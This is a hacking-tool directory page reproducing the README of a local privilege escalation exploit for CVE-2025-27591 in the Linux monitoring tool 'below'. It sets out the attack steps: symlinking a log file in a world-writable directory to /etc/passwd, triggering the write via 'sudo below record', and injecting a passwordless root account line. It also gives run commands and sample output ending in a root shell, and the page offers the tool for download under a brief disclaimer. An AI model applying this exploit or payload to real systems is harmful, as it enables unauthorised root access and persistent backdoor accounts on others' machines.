Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

Β·Β·FeedsΒ·ContactΒ·PrivacyΒ·Β© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/00xcanelo/cve-2025-27591
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingLearning & EducationBinary Exploitation
GitHub00xcanelo/cve-2025-27591

CVE-2025-27591

πŸ”₯ Local Privilege Escalation Exploit for CVE-2025-27591 | Abuses world-writable log dir in Below to gain root via /etc/passwd injection

View Repository
2651 year agoNot yet reviewed

Most Popular

View all β†’

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools β†’
Share

CVE-2025-27591 – Privilege Escalation via Symlink Abuse in below

Author CVE

πŸ›‘ Disclaimer: This exploit is provided for educational and authorized security testing only. Unauthorized use may be illegal.


🧠 Overview

below is a performance monitoring tool developed by Facebook for Linux systems. Versions of below prior to a patched release are affected by a critical vulnerability that allows unprivileged users to escalate to root by exploiting world-writable log directories and unsanitized log handling.


πŸ”Ž CVE Details

FieldValue
CVE-IDCVE-2025-27591
SeverityπŸ”₯ Critical (CVSS β‰ˆ 7.8 - 8.8)
Attack VectorLocal
ImpactPrivilege Escalation to root (UID=0)
Exploit TypeSymlink Abuse / Log File Injection
Affected Appbelow – typically installed as /usr/bin/below
Root CauseUnsafe file writes to /var/log/below/ without permission checks

πŸ’₯ Exploit Logic

This Bash script performs the following:

  1. Check for World-Writable Directory:

    • Confirms if /var/log/below is world-writable (a red flag).
  2. Prepare Symlink Attack:

    • Deletes existing error_root.log (if any) and creates a symbolic link to /etc/passwd.
  3. Payload Construction:

    • Appends a fake root user to /etc/passwd:
      fakeadmin::0:0:fakeadmin:/root:/bin/bash
      
  4. Trigger Logging:

    • Runs sudo below record to force the vulnerable binary to write logs.
  5. Gain Root Access:

    • Uses su fakeadmin to obtain a root shell with no password prompt.

πŸ“ Directory Structure

CVE-2025-27591/
β”œβ”€β”€ exploit.sh
β”œβ”€β”€ README.md

βœ… Prerequisites

Before running the exploit, ensure you have the following:

  • Bash shell (Linux system)
  • The vulnerable binary installed: /usr/bin/below
  • World-writable log directory: /var/log/below
  • sudo privileges to execute: sudo below record
  • Tools available:
    • ln (to create symlinks)
    • su (to switch users)
    • timeout (to control execution time)
    • whoami (for privilege check)

πŸš€ Exploitation Steps

# 1. Clone the repository
git clone https://github.com/00xCanelo/CVE-2025-27591.git
cd CVE-2025-27591

# 2. Make the script executable
chmod +x exploit.sh

# 3. Execute the exploit
./exploit.sh

πŸ§ͺ Sample Output

[*] Checking for CVE-2025-27591 vulnerability...
[+] /var/log/below is world-writable.
[!] Found existing log file: removing it...
[+] Created symlink: /var/log/below/error_root.log -> /etc/passwd

[*] Writing malicious line to /tmp/fakeadmin
[*] Triggering logging via 'sudo below record'...
[+] 'below record' executed (or timed out)

[*] Attempting to write payload to /etc/passwd via symlink...
[+] Payload successfully appended.

[*] Trying to switch to root shell using 'su fakeadmin'...
root@target:/# whoami
root
Download Tool